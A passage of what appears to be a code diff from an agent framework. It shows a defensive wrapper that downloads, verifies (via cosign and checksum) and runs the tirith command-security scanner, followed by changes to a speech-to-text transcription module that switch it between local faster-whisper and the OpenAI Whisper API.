|
||||
_clear_install_failed()
|
||||
return False
|
||||
return True
|
||||
|
||||
|
||||
def _mark_install_failed(reason: str = ""):
|
||||
"""Persist install failure to disk to avoid retry on next process.
|
||||
|
||||
Args:
|
||||
reason: Short tag identifying the failure cause. Use "cosign_missing"
|
||||
when cosign is not on PATH so the marker can be auto-cleared
|
||||
once cosign becomes available.
|
||||
"""
|
||||
try:
|
||||
p = _failure_marker_path()
|
||||
os.makedirs(os.path.dirname(p), exist_ok=True)
|
||||
with open(p, "w") as f:
|
||||
f.write(reason)
|
||||
except OSError:
|
||||
pass
|
||||
|
||||
|
||||
def _clear_install_failed():
|
||||
"""Remove the failure marker after successful install."""
|
||||
try:
|
||||
os.unlink(_failure_marker_path())
|
||||
except OSError:
|
||||
pass
|
||||
|
||||
|
||||
def _hermes_bin_dir() -> str:
|
||||
"""Return $HERMES_HOME/bin, creating it if needed."""
|
||||
d = os.path.join(_get_hermes_home(), "bin")
|
||||
os.makedirs(d, exist_ok=True)
|
||||
return d
|
||||
|
||||
|
||||
def _detect_target() -> str | None:
|
||||
"""Return the Rust target triple for the current platform, or None."""
|
||||
system = platform.system()
|
||||
machine = platform.machine().lower()
|
||||
|
||||
if system == "Darwin":
|
||||
plat = "apple-darwin"
|
||||
elif system == "Linux":
|
||||
plat = "unknown-linux-gnu"
|
||||
else:
|
||||
return None
|
||||
|
||||
if machine in ("x86_64", "amd64"):
|
||||
arch = "x86_64"
|
||||
elif machine in ("aarch64", "arm64"):
|
||||
arch = "aarch64"
|
||||
else:
|
||||
return None
|
||||
|
||||
return f"{arch}-{plat}"
|
||||
|
||||
|
||||
def _download_file(url: str, dest: str, timeout: int = 10):
|
||||
"""Download a URL to a local file."""
|
||||
req = urllib.request.Request(url)
|
||||
token = os.getenv("GITHUB_TOKEN")
|
||||
if token:
|
||||
req.add_header("Authorization", f"token {token}")
|
||||
with urllib.request.urlopen(req, timeout=timeout) as resp, open(dest, "wb") as f:
|
||||
shutil.copyfileobj(resp, f)
|
||||
|
||||
|
||||
def _verify_cosign(checksums_path: str, sig_path: str, cert_path: str) -> bool | None:
|
||||
"""Verify cosign provenance signature on checksums.txt.
|
||||
|
||||
Returns:
|
||||
True — cosign verified successfully
|
||||
False — cosign found but verification failed
|
||||
None — cosign not available (not on PATH, or execution failed)
|
||||
|
||||
The caller treats both False and None as "abort auto-install" — only
|
||||
True allows the install to proceed.
|
||||
"""
|
||||
cosign = shutil.which("cosign")
|
||||
if not cosign:
|
||||
logger.info("cosign not found on PATH")
|
||||
return None
|
||||
|
||||
try:
|
||||
result = subprocess.run(
|
||||
[cosign, "verify-blob",
|
||||
"--certificate", cert_path,
|
||||
"--signature", sig_path,
|
||||
"--certificate-identity-regexp", _COSIGN_IDENTITY_REGEXP,
|
||||
"--certificate-oidc-issuer", _COSIGN_ISSUER,
|
||||
checksums_path],
|
||||
capture_output=True,
|
||||
text=True,
|
||||
timeout=15,
|
||||
)
|
||||
if result.returncode == 0:
|
||||
logger.info("cosign provenance verification passed")
|
||||
return True
|
||||
else:
|
||||
logger.warning("cosign verification failed (exit %d): %s",
|
||||
result.returncode, result.stderr.strip())
|
||||
return False
|
||||
except (OSError, subprocess.TimeoutExpired) as exc:
|
||||
logger.warning("cosign execution failed: %s", exc)
|
||||
return None
|
||||
|
||||
|
||||
def _verify_checksum(archive_path: str, checksums_path: str, archive_name: str) -> bool:
|
||||
"""Verify SHA-256 of the archive against checksums.txt."""
|
||||
expected = None
|
||||
with open(checksums_path) as f:
|
||||
for line in f:
|
||||
# Format: "<hash> <filename>"
|
||||
parts = line.strip().split(" ", 1)
|
||||
if len(parts) == 2 and parts[1] == archive_name:
|
||||
expected = parts[0]
|
||||
break
|
||||
if not expected:
|
||||
logger.warning("No checksum entry for %s", archive_name)
|
||||
return False
|
||||
|
||||
sha = hashlib.sha256()
|
||||
with open(archive_path, "rb") as f:
|
||||
for chunk in iter(lambda: f.read(8192), b""):
|
||||
sha.update(chunk)
|
||||
actual = sha.hexdigest()
|
||||
if actual != expected:
|
||||
logger.warning("Checksum mismatch: expected %s, got %s", expected, actual)
|
||||
return False
|
||||
return True
|
||||
|
||||
|
||||
def _install_tirith() -> tuple[str | None, str]:
|
||||
"""Download and install tirith to $HERMES_HOME/bin/tirith.
|
||||
|
||||
Verifies provenance via cosign and SHA-256 checksum.
|
||||
Returns (installed_path, failure_reason). On success failure_reason is "".
|
||||
failure_reason is a short tag used by the disk marker to decide if the
|
||||
failure is retryable (e.g. "cosign_missing" clears when cosign appears).
|
||||
"""
|
||||
target = _detect_target()
|
||||
if not target:
|
||||
logger.info("tirith auto-install: unsupported platform %s/%s",
|
||||
platform.system(), platform.machine())
|
||||
return None, "unsupported_platform"
|
||||
|
||||
archive_name = f"tirith-{target}.tar.gz"
|
||||
base_url = f"https://github.com/{_REPO}/releases/latest/download"
|
||||
|
||||
tmpdir = tempfile.mkdtemp(prefix="tirith-install-")
|
||||
try:
|
||||
archive_path = os.path.join(tmpdir, archive_name)
|
||||
checksums_path = os.path.join(tmpdir, "checksums.txt")
|
||||
sig_path = os.path.join(tmpdir, "checksums.txt.sig")
|
||||
cert_path = os.path.join(tmpdir, "checksums.txt.pem")
|
||||
|
||||
logger.info("tirith not found — downloading latest release for %s...", target)
|
||||
|
||||
try:
|
||||
_download_file(f"{base_url}/{archive_name}", archive_path)
|
||||
_download_file(f"{base_url}/checksums.txt", checksums_path)
|
||||
except Exception as exc:
|
||||
logger.warning("tirith download failed: %s", exc)
|
||||
return None, "download_failed"
|
||||
|
||||
# Cosign provenance verification is mandatory for auto-install.
|
||||
# SHA-256 alone only proves self-consistency (both files come from the
|
||||
# same endpoint), not provenance. Without cosign we cannot verify the
|
||||
# release was produced by the expected GitHub Actions workflow.
|
||||
try:
|
||||
_download_file(f"{base_url}/checksums.txt.sig", sig_path)
|
||||
_download_file(f"{base_url}/checksums.txt.pem", cert_path)
|
||||
except Exception as exc:
|
||||
logger.warning("tirith install skipped: cosign artifacts unavailable (%s). "
|
||||
"Install tirith manually or install cosign for auto-install.", exc)
|
||||
return None, "cosign_artifacts_unavailable"
|
||||
|
||||
# Check cosign availability before attempting verification so we can
|
||||
# distinguish "not installed" (retryable) from "installed but broken."
|
||||
if not shutil.which("cosign"):
|
||||
logger.warning("tirith install skipped: cosign not found on PATH. "
|
||||
"Install cosign for auto-install, or install tirith manually.")
|
||||
return None, "cosign_missing"
|
||||
|
||||
cosign_result = _verify_cosign(checksums_path, sig_path, cert_path)
|
||||
if cosign_result is not True:
|
||||
# False = verification rejected, None = execution failure (timeout/OSError)
|
||||
if cosign_result is None:
|
||||
logger.warning("tirith install aborted: cosign execution failed")
|
||||
return None, "cosign_exec_failed"
|
||||
else:
|
||||
logger.warning("tirith install aborted: cosign provenance verification failed")
|
||||
return None, "cosign_verification_failed"
|
||||
|
||||
if not _verify_checksum(archive_path, checksums_path, archive_name):
|
||||
return None, "checksum_failed"
|
||||
|
||||
with tarfile.open(archive_path, "r:gz") as tar:
|
||||
# Extract only the tirith binary (safety: reject paths with ..)
|
||||
for member in tar.getmembers():
|
||||
if member.name == "tirith" or member.name.endswith("/tirith"):
|
||||
if ".." in member.name:
|
||||
continue
|
||||
member.name = "tirith"
|
||||
tar.extract(member, tmpdir)
|
||||
break
|
||||
else:
|
||||
logger.warning("tirith binary not found in archive")
|
||||
return None, "binary_not_in_archive"
|
||||
|
||||
src = os.path.join(tmpdir, "tirith")
|
||||
dest = os.path.join(_hermes_bin_dir(), "tirith")
|
||||
shutil.move(src, dest)
|
||||
os.chmod(dest, os.stat(dest).st_mode | stat.S_IXUSR | stat.S_IXGRP | stat.S_IXOTH)
|
||||
|
||||
logger.info("tirith installed to %s", dest)
|
||||
return dest, ""
|
||||
|
||||
finally:
|
||||
shutil.rmtree(tmpdir, ignore_errors=True)
|
||||
|
||||
|
||||
def _is_explicit_path(configured_path: str) -> bool:
|
||||
"""Return True if the user explicitly configured a non-default tirith path."""
|
||||
return configured_path != "tirith"
|
||||
|
||||
|
||||
def _resolve_tirith_path(configured_path: str) -> str:
|
||||
"""Resolve the tirith binary path, auto-installing if necessary.
|
||||
|
||||
If the user explicitly set a path (anything other than the bare "tirith"
|
||||
default), that path is authoritative — we never fall through to
|
||||
auto-download a different binary.
|
||||
|
||||
For the default "tirith":
|
||||
1. PATH lookup via shutil.which
|
||||
2. $HERMES_HOME/bin/tirith (previously auto-installed)
|
||||
3. Auto-install from GitHub releases → $HERMES_HOME/bin/tirith
|
||||
|
||||
Failed installs are cached for the process lifetime (and persisted to
|
||||
disk for 24h) to avoid repeated network attempts.
|
||||
"""
|
||||
global _resolved_path, _install_failure_reason
|
||||
|
||||
# Fast path: successfully resolved on a previous call.
|
||||
if _resolved_path is not None and _resolved_path is not _INSTALL_FAILED:
|
||||
return _resolved_path
|
||||
|
||||
expanded = os.path.expanduser(configured_path)
|
||||
explicit = _is_explicit_path(configured_path)
|
||||
install_failed = _resolved_path is _INSTALL_FAILED
|
||||
|
||||
# Explicit path: check it and stop. Never auto-download a replacement.
|
||||
if explicit:
|
||||
if os.path.isfile(expanded) and os.access(expanded, os.X_OK):
|
||||
_resolved_path = expanded
|
||||
return expanded
|
||||
# Also try shutil.which in case it's a bare name on PATH
|
||||
found = shutil.which(expanded)
|
||||
if found:
|
||||
_resolved_path = found
|
||||
return found
|
||||
logger.warning("Configured tirith path %r not found; scanning disabled", configured_path)
|
||||
_resolved_path = _INSTALL_FAILED
|
||||
_install_failure_reason = "explicit_path_missing"
|
||||
return expanded
|
||||
|
||||
# Default "tirith" — always re-run cheap local checks so a manual
|
||||
# install is picked up even after a previous network failure (P2 fix:
|
||||
# long-lived gateway/CLI recovers without restart).
|
||||
found = shutil.which("tirith")
|
||||
if found:
|
||||
_resolved_path = found
|
||||
_install_failure_reason = ""
|
||||
_clear_install_failed()
|
||||
return found
|
||||
|
||||
hermes_bin = os.path.join(_hermes_bin_dir(), "tirith")
|
||||
if os.path.isfile(hermes_bin) and os.access(hermes_bin, os.X_OK):
|
||||
_resolved_path = hermes_bin
|
||||
_install_failure_reason = ""
|
||||
_clear_install_failed()
|
||||
return hermes_bin
|
||||
|
||||
# Local checks failed. If a previous install attempt already failed,
|
||||
# skip the network retry — UNLESS the failure was "cosign_missing" and
|
||||
# cosign is now available (retryable cause resolved in-process).
|
||||
if install_failed:
|
||||
if _install_failure_reason == "cosign_missing" and shutil.which("cosign"):
|
||||
# Retryable cause resolved — clear sentinel and fall through to retry
|
||||
_resolved_path = None
|
||||
_install_failure_reason = ""
|
||||
_clear_install_failed()
|
||||
install_failed = False
|
||||
else:
|
||||
return expanded
|
||||
|
||||
# If a background install thread is running, don't start a parallel one —
|
||||
# return the configured path; the OSError handler in check_command_security
|
||||
# will apply fail_open until the thread finishes.
|
||||
if _install_thread is not None and _install_thread.is_alive():
|
||||
return expanded
|
||||
|
||||
# Check disk failure marker before attempting network download.
|
||||
# Preserve the marker's real reason so in-memory retry logic can
|
||||
# detect retryable causes (e.g. cosign_missing) without restart.
|
||||
disk_reason = _read_failure_reason()
|
||||
if disk_reason is not None and _is_install_failed_on_disk():
|
||||
_resolved_path = _INSTALL_FAILED
|
||||
_install_failure_reason = disk_reason
|
||||
return expanded
|
||||
|
||||
installed, reason = _install_tirith()
|
||||
if installed:
|
||||
_resolved_path = installed
|
||||
_install_failure_reason = ""
|
||||
_clear_install_failed()
|
||||
return installed
|
||||
|
||||
# Install failed — cache the miss and persist reason to disk
|
||||
_resolved_path = _INSTALL_FAILED
|
||||
_install_failure_reason = reason
|
||||
_mark_install_failed(reason)
|
||||
return expanded
|
||||
|
||||
|
||||
def _background_install():
|
||||
"""Background thread target: download and install tirith."""
|
||||
global _resolved_path, _install_failure_reason
|
||||
with _install_lock:
|
||||
# Double-check after acquiring lock (another thread may have resolved)
|
||||
if _resolved_path is not None:
|
||||
return
|
||||
|
||||
# Re-check local paths (may have been installed by another process)
|
||||
found = shutil.which("tirith")
|
||||
if found:
|
||||
_resolved_path = found
|
||||
_install_failure_reason = ""
|
||||
return
|
||||
|
||||
hermes_bin = os.path.join(_hermes_bin_dir(), "tirith")
|
||||
if os.path.isfile(hermes_bin) and os.access(hermes_bin, os.X_OK):
|
||||
_resolved_path = hermes_bin
|
||||
_install_failure_reason = ""
|
||||
return
|
||||
|
||||
installed, reason = _install_tirith()
|
||||
if installed:
|
||||
_resolved_path = installed
|
||||
_install_failure_reason = ""
|
||||
_clear_install_failed()
|
||||
else:
|
||||
_resolved_path = _INSTALL_FAILED
|
||||
_install_failure_reason = reason
|
||||
_mark_install_failed(reason)
|
||||
|
||||
|
||||
def ensure_installed():
|
||||
"""Ensure tirith is available, downloading in background if needed.
|
||||
|
||||
Quick PATH/local checks are synchronous; network download runs in a
|
||||
daemon thread so startup never blocks. Safe to call multiple times.
|
||||
Returns the resolved path immediately if available, or None.
|
||||
"""
|
||||
global _resolved_path, _install_thread, _install_failure_reason
|
||||
|
||||
cfg = _load_security_config()
|
||||
if not cfg["tirith_enabled"]:
|
||||
return None
|
||||
|
||||
# Already resolved from a previous call
|
||||
if _resolved_path is not None and _resolved_path is not _INSTALL_FAILED:
|
||||
path = _resolved_path
|
||||
if os.path.isfile(path) and os.access(path, os.X_OK):
|
||||
return path
|
||||
return None
|
||||
|
||||
configured_path = cfg["tirith_path"]
|
||||
explicit = _is_explicit_path(configured_path)
|
||||
expanded = os.path.expanduser(configured_path)
|
||||
|
||||
# Explicit path: synchronous check only, no download
|
||||
if explicit:
|
||||
if os.path.isfile(expanded) and os.access(expanded, os.X_OK):
|
||||
_resolved_path = expanded
|
||||
return expanded
|
||||
found = shutil.which(expanded)
|
||||
if found:
|
||||
_resolved_path = found
|
||||
return found
|
||||
_resolved_path = _INSTALL_FAILED
|
||||
_install_failure_reason = "explicit_path_missing"
|
||||
return None
|
||||
|
||||
# Default "tirith" — quick local checks first (no network)
|
||||
found = shutil.which("tirith")
|
||||
if found:
|
||||
_resolved_path = found
|
||||
_install_failure_reason = ""
|
||||
_clear_install_failed()
|
||||
return found
|
||||
|
||||
hermes_bin = os.path.join(_hermes_bin_dir(), "tirith")
|
||||
if os.path.isfile(hermes_bin) and os.access(hermes_bin, os.X_OK):
|
||||
_resolved_path = hermes_bin
|
||||
_install_failure_reason = ""
|
||||
_clear_install_failed()
|
||||
return hermes_bin
|
||||
|
||||
# If previously failed in-memory, check if the cause is now resolved
|
||||
if _resolved_path is _INSTALL_FAILED:
|
||||
if _install_failure_reason == "cosign_missing" and shutil.which("cosign"):
|
||||
_resolved_path = None
|
||||
_install_failure_reason = ""
|
||||
_clear_install_failed()
|
||||
else:
|
||||
return None
|
||||
|
||||
# Check disk failure marker (skip network attempt for 24h, unless
|
||||
# the cosign_missing reason was resolved — handled by _is_install_failed_on_disk).
|
||||
# Preserve the marker's real reason for in-memory retry logic.
|
||||
disk_reason = _read_failure_reason()
|
||||
if disk_reason is not None and _is_install_failed_on_disk():
|
||||
_resolved_path = _INSTALL_FAILED
|
||||
_install_failure_reason = disk_reason
|
||||
return None
|
||||
|
||||
# Need to download — launch background thread so startup doesn't block
|
||||
if _install_thread is None or not _install_thread.is_alive():
|
||||
_install_thread = threading.Thread(
|
||||
target=_background_install, daemon=True)
|
||||
_install_thread.start()
|
||||
|
||||
return None # Not available yet; commands will fail-open until ready
|
||||
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# Main API
|
||||
# ---------------------------------------------------------------------------
|
||||
|
||||
_MAX_FINDINGS = 50
|
||||
_MAX_SUMMARY_LEN = 500
|
||||
|
||||
|
||||
def check_command_security(command: str) -> dict:
|
||||
"""Run tirith security scan on a command.
|
||||
|
||||
Exit code determines action (0=allow, 1=block, 2=warn). JSON enriches
|
||||
findings/summary. Spawn failures and timeouts respect fail_open config.
|
||||
Programming errors propagate.
|
||||
|
||||
Returns:
|
||||
{"action": "allow"|"warn"|"block", "findings": [...], "summary": str}
|
||||
"""
|
||||
cfg = _load_security_config()
|
||||
|
||||
if not cfg["tirith_enabled"]:
|
||||
return {"action": "allow", "findings": [], "summary": ""}
|
||||
|
||||
tirith_path = _resolve_tirith_path(cfg["tirith_path"])
|
||||
timeout = cfg["tirith_timeout"]
|
||||
fail_open = cfg["tirith_fail_open"]
|
||||
|
||||
try:
|
||||
result = subprocess.run(
|
||||
[tirith_path, "check", "--json", "--non-interactive",
|
||||
"--shell", "posix", "--", command],
|
||||
capture_output=True,
|
||||
text=True,
|
||||
timeout=timeout,
|
||||
)
|
||||
except OSError as exc:
|
||||
# Covers FileNotFoundError, PermissionError, exec format error
|
||||
logger.warning("tirith spawn failed: %s", exc)
|
||||
if fail_open:
|
||||
return {"action": "allow", "findings": [], "summary": f"tirith unavailable: {exc}"}
|
||||
return {"action": "block", "findings": [], "summary": f"tirith spawn failed (fail-closed): {exc}"}
|
||||
except subprocess.TimeoutExpired:
|
||||
logger.warning("tirith timed out after %ds", timeout)
|
||||
if fail_open:
|
||||
return {"action": "allow", "findings": [], "summary": f"tirith timed out ({timeout}s)"}
|
||||
return {"action": "block", "findings": [], "summary": f"tirith timed out (fail-closed)"}
|
||||
|
||||
# Map exit code to action
|
||||
exit_code = result.returncode
|
||||
if exit_code == 0:
|
||||
action = "allow"
|
||||
elif exit_code == 1:
|
||||
action = "block"
|
||||
elif exit_code == 2:
|
||||
action = "warn"
|
||||
else:
|
||||
# Unknown exit code — respect fail_open
|
||||
logger.warning("tirith returned unexpected exit code %d", exit_code)
|
||||
if fail_open:
|
||||
return {"action": "allow", "findings": [], "summary": f"tirith exit code {exit_code} (fail-open)"}
|
||||
return {"action": "block", "findings": [], "summary": f"tirith exit code {exit_code} (fail-closed)"}
|
||||
|
||||
# Parse JSON for enrichment (never overrides the exit code verdict)
|
||||
findings = []
|
||||
summary = ""
|
||||
try:
|
||||
data = json.loads(result.stdout) if result.stdout.strip() else {}
|
||||
raw_findings = data.get("findings", [])
|
||||
findings = raw_findings[:_MAX_FINDINGS]
|
||||
summary = (data.get("summary", "") or "")[:_MAX_SUMMARY_LEN]
|
||||
except (json.JSONDecodeError, AttributeError):
|
||||
# JSON parse failure degrades findings/summary, not the verdict
|
||||
logger.debug("tirith JSON parse failed, using exit code only")
|
||||
if action == "block":
|
||||
summary = "security issue detected (details unavailable)"
|
||||
elif action == "warn":
|
||||
summary = "security warning detected (details unavailable)"
|
||||
|
||||
return {"action": action, "findings": findings, "summary": summary}
|
||||
+124
-220
@@ -2,19 +2,18 @@
|
||||
"""
|
||||
Transcription Tools Module
|
||||
|
||||
Provides speech-to-text transcription with two providers:
|
||||
|
||||
- **local** (default, free) — faster-whisper running locally, no API key needed.
|
||||
Auto-downloads the model (~150 MB for ``base``) on first use.
|
||||
- **openai** — OpenAI Whisper API, requires ``VOICE_TOOLS_OPENAI_KEY``.
|
||||
|
||||
Provides speech-to-text transcription using OpenAI's Whisper API.
|
||||
Used by the messaging gateway to automatically transcribe voice messages
|
||||
sent by users on Telegram, Discord, WhatsApp, Slack, and Signal.
|
||||
sent by users on Telegram, Discord, WhatsApp, and Slack.
|
||||
|
||||
Supported models:
|
||||
- whisper-1 (cheapest, good quality)
|
||||
- gpt-4o-mini-transcribe (better quality, higher cost)
|
||||
- gpt-4o-transcribe (best quality, highest cost)
|
||||
|
||||
Supported input formats: mp3, mp4, mpeg, mpga, m4a, wav, webm, ogg
|
||||
|
||||
Usage::
|
||||
|
||||
Usage:
|
||||
from tools.transcription_tools import transcribe_audio
|
||||
|
||||
result = transcribe_audio("/path/to/audio.ogg")
|
||||
@@ -29,205 +28,27 @@ from typing import Optional, Dict, Any
|
||||
|
||||
logger = logging.getLogger(__name__)
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# Optional imports — graceful degradation
|
||||
# ---------------------------------------------------------------------------
|
||||
|
||||
try:
|
||||
from faster_whisper import WhisperModel
|
||||
_HAS_FASTER_WHISPER = True
|
||||
except ImportError:
|
||||
_HAS_FASTER_WHISPER = False
|
||||
WhisperModel = None # type: ignore[assignment,misc]
|
||||
|
||||
try:
|
||||
from openai import OpenAI, APIError, APIConnectionError, APITimeoutError
|
||||
_HAS_OPENAI = True
|
||||
except ImportError:
|
||||
_HAS_OPENAI = False
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# Constants
|
||||
# ---------------------------------------------------------------------------
|
||||
|
||||
DEFAULT_PROVIDER = "local"
|
||||
DEFAULT_LOCAL_MODEL = "base"
|
||||
DEFAULT_OPENAI_MODEL = "whisper-1"
|
||||
# Default STT model -- cheapest and widely available
|
||||
DEFAULT_STT_MODEL = "whisper-1"
|
||||
|
||||
# Supported audio formats
|
||||
SUPPORTED_FORMATS = {".mp3", ".mp4", ".mpeg", ".mpga", ".m4a", ".wav", ".webm", ".ogg"}
|
||||
MAX_FILE_SIZE = 25 * 1024 * 1024 # 25 MB
|
||||
|
||||
# Singleton for the local model — loaded once, reused across calls
|
||||
_local_model: Optional["WhisperModel"] = None
|
||||
_local_model_name: Optional[str] = None
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# Config helpers
|
||||
# ---------------------------------------------------------------------------
|
||||
|
||||
|
||||
def _load_stt_config() -> dict:
|
||||
"""Load the ``stt`` section from user config, falling back to defaults."""
|
||||
try:
|
||||
from hermes_cli.config import load_config
|
||||
return load_config().get("stt", {})
|
||||
except Exception:
|
||||
return {}
|
||||
|
||||
|
||||
def _get_provider(stt_config: dict) -> str:
|
||||
"""Determine which STT provider to use.
|
||||
|
||||
Priority:
|
||||
1. Explicit config value (``stt.provider``)
|
||||
2. Auto-detect: local if faster-whisper available, else openai if key set
|
||||
3. Disabled (returns "none")
|
||||
"""
|
||||
provider = stt_config.get("provider", DEFAULT_PROVIDER)
|
||||
|
||||
if provider == "local":
|
||||
if _HAS_FASTER_WHISPER:
|
||||
return "local"
|
||||
# Local requested but not available — fall back to openai if possible
|
||||
if _HAS_OPENAI and os.getenv("VOICE_TOOLS_OPENAI_KEY"):
|
||||
logger.info("faster-whisper not installed, falling back to OpenAI Whisper API")
|
||||
return "openai"
|
||||
return "none"
|
||||
|
||||
if provider == "openai":
|
||||
if _HAS_OPENAI and os.getenv("VOICE_TOOLS_OPENAI_KEY"):
|
||||
return "openai"
|
||||
# OpenAI requested but no key — fall back to local if possible
|
||||
if _HAS_FASTER_WHISPER:
|
||||
logger.info("VOICE_TOOLS_OPENAI_KEY not set, falling back to local faster-whisper")
|
||||
return "local"
|
||||
return "none"
|
||||
|
||||
return provider # Unknown — let it fail downstream
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# Shared validation
|
||||
# ---------------------------------------------------------------------------
|
||||
|
||||
|
||||
def _validate_audio_file(file_path: str) -> Optional[Dict[str, Any]]:
|
||||
"""Validate the audio file. Returns an error dict or None if OK."""
|
||||
audio_path = Path(file_path)
|
||||
|
||||
if not audio_path.exists():
|
||||
return {"success": False, "transcript": "", "error": f"Audio file not found: {file_path}"}
|
||||
if not audio_path.is_file():
|
||||
return {"success": False, "transcript": "", "error": f"Path is not a file: {file_path}"}
|
||||
if audio_path.suffix.lower() not in SUPPORTED_FORMATS:
|
||||
return {
|
||||
"success": False,
|
||||
"transcript": "",
|
||||
"error": f"Unsupported format: {audio_path.suffix}. Supported: {', '.join(sorted(SUPPORTED_FORMATS))}",
|
||||
}
|
||||
try:
|
||||
file_size = audio_path.stat().st_size
|
||||
if file_size > MAX_FILE_SIZE:
|
||||
return {
|
||||
"success": False,
|
||||
"transcript": "",
|
||||
"error": f"File too large: {file_size / (1024*1024):.1f}MB (max {MAX_FILE_SIZE / (1024*1024):.0f}MB)",
|
||||
}
|
||||
except OSError as e:
|
||||
return {"success": False, "transcript": "", "error": f"Failed to access file: {e}"}
|
||||
|
||||
return None
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# Provider: local (faster-whisper)
|
||||
# ---------------------------------------------------------------------------
|
||||
|
||||
|
||||
def _transcribe_local(file_path: str, model_name: str) -> Dict[str, Any]:
|
||||
"""Transcribe using faster-whisper (local, free)."""
|
||||
global _local_model, _local_model_name
|
||||
|
||||
if not _HAS_FASTER_WHISPER:
|
||||
return {"success": False, "transcript": "", "error": "faster-whisper not installed"}
|
||||
|
||||
try:
|
||||
# Lazy-load the model (downloads on first use, ~150 MB for 'base')
|
||||
if _local_model is None or _local_model_name != model_name:
|
||||
logger.info("Loading faster-whisper model '%s' (first load downloads the model)...", model_name)
|
||||
_local_model = WhisperModel(model_name, device="auto", compute_type="auto")
|
||||
_local_model_name = model_name
|
||||
|
||||
segments, info = _local_model.transcribe(file_path, beam_size=5)
|
||||
transcript = " ".join(segment.text.strip() for segment in segments)
|
||||
|
||||
logger.info(
|
||||
"Transcribed %s via local whisper (%s, lang=%s, %.1fs audio)",
|
||||
Path(file_path).name, model_name, info.language, info.duration,
|
||||
)
|
||||
|
||||
return {"success": True, "transcript": transcript}
|
||||
|
||||
except Exception as e:
|
||||
logger.error("Local transcription failed: %s", e, exc_info=True)
|
||||
return {"success": False, "transcript": "", "error": f"Local transcription failed: {e}"}
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# Provider: openai (Whisper API)
|
||||
# ---------------------------------------------------------------------------
|
||||
|
||||
|
||||
def _transcribe_openai(file_path: str, model_name: str) -> Dict[str, Any]:
|
||||
"""Transcribe using OpenAI Whisper API (paid)."""
|
||||
api_key = os.getenv("VOICE_TOOLS_OPENAI_KEY")
|
||||
if not api_key:
|
||||
return {"success": False, "transcript": "", "error": "VOICE_TOOLS_OPENAI_KEY not set"}
|
||||
|
||||
if not _HAS_OPENAI:
|
||||
return {"success": False, "transcript": "", "error": "openai package not installed"}
|
||||
|
||||
try:
|
||||
client = OpenAI(api_key=api_key, base_url="https://api.openai.com/v1")
|
||||
|
||||
with open(file_path, "rb") as audio_file:
|
||||
transcription = client.audio.transcriptions.create(
|
||||
model=model_name,
|
||||
file=audio_file,
|
||||
response_format="text",
|
||||
)
|
||||
|
||||
transcript_text = str(transcription).strip()
|
||||
logger.info("Transcribed %s via OpenAI API (%s, %d chars)",
|
||||
Path(file_path).name, model_name, len(transcript_text))
|
||||
|
||||
return {"success": True, "transcript": transcript_text}
|
||||
|
||||
except PermissionError:
|
||||
return {"success": False, "transcript": "", "error": f"Permission denied: {file_path}"}
|
||||
except APIConnectionError as e:
|
||||
return {"success": False, "transcript": "", "error": f"Connection error: {e}"}
|
||||
except APITimeoutError as e:
|
||||
return {"success": False, "transcript": "", "error": f"Request timeout: {e}"}
|
||||
except APIError as e:
|
||||
return {"success": False, "transcript": "", "error": f"API error: {e}"}
|
||||
except Exception as e:
|
||||
logger.error("OpenAI transcription failed: %s", e, exc_info=True)
|
||||
return {"success": False, "transcript": "", "error": f"Transcription failed: {e}"}
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# Public API
|
||||
# ---------------------------------------------------------------------------
|
||||
# Maximum file size (25MB - OpenAI limit)
|
||||
MAX_FILE_SIZE = 25 * 1024 * 1024
|
||||
|
||||
|
||||
def transcribe_audio(file_path: str, model: Optional[str] = None) -> Dict[str, Any]:
|
||||
"""
|
||||
Transcribe an audio file using the configured STT provider.
|
||||
Transcribe an audio file using OpenAI's Whisper API.
|
||||
|
||||
Provider priority:
|
||||
1. User config (``stt.provider`` in config.yaml)
|
||||
2. Auto-detect: local faster-whisper if available, else OpenAI API
|
||||
This function calls the OpenAI Audio Transcriptions endpoint directly
|
||||
(not via OpenRouter, since Whisper isn't available there).
|
||||
|
||||
Args:
|
||||
file_path: Absolute path to the audio file to transcribe.
|
||||
model: Override the model. If None, uses config or provider default.
|
||||
model: Whisper model to use. Defaults to config or "whisper-1".
|
||||
|
||||
Returns:
|
||||
dict with keys:
|
||||
@@ -235,31 +56,114 @@ def transcribe_audio(file_path: str, model: Optional[str] = None) -> Dict[str, A
|
||||
- "transcript" (str): The transcribed text (empty on failure)
|
||||
- "error" (str, optional): Error message if success is False
|
||||
"""
|
||||
# Validate input
|
||||
error = _validate_audio_file(file_path)
|
||||
if error:
|
||||
return error
|
||||
api_key = os.getenv("VOICE_TOOLS_OPENAI_KEY")
|
||||
if not api_key:
|
||||
return {
|
||||
"success": False,
|
||||
"transcript": "",
|
||||
"error": "VOICE_TOOLS_OPENAI_KEY not set",
|
||||
}
|
||||
|
||||
# Load config and determine provider
|
||||
stt_config = _load_stt_config()
|
||||
provider = _get_provider(stt_config)
|
||||
audio_path = Path(file_path)
|
||||
|
||||
# Validate file exists
|
||||
if not audio_path.exists():
|
||||
return {
|
||||
"success": False,
|
||||
"transcript": "",
|
||||
"error": f"Audio file not found: {file_path}",
|
||||
}
|
||||
|
||||
if not audio_path.is_file():
|
||||
return {
|
||||
"success": False,
|
||||
"transcript": "",
|
||||
"error": f"Path is not a file: {file_path}",
|
||||
}
|
||||
|
||||
# Validate file extension
|
||||
if audio_path.suffix.lower() not in SUPPORTED_FORMATS:
|
||||
return {
|
||||
"success": False,
|
||||
"transcript": "",
|
||||
"error": f"Unsupported file format: {audio_path.suffix}. Supported formats: {', '.join(sorted(SUPPORTED_FORMATS))}",
|
||||
}
|
||||
|
||||
# Validate file size
|
||||
try:
|
||||
file_size = audio_path.stat().st_size
|
||||
if file_size > MAX_FILE_SIZE:
|
||||
return {
|
||||
"success": False,
|
||||
"transcript": "",
|
||||
"error": f"File too large: {file_size / (1024*1024):.1f}MB (max {MAX_FILE_SIZE / (1024*1024)}MB)",
|
||||
}
|
||||
except OSError as e:
|
||||
logger.error("Failed to get file size for %s: %s", file_path, e, exc_info=True)
|
||||
return {
|
||||
"success": False,
|
||||
"transcript": "",
|
||||
"error": f"Failed to access file: {e}",
|
||||
}
|
||||
|
||||
if provider == "local":
|
||||
local_cfg = stt_config.get("local", {})
|
